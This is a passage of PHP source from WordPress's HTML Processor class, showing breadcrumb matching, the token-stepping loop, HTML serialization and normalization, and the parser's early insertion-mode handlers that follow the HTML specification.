	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
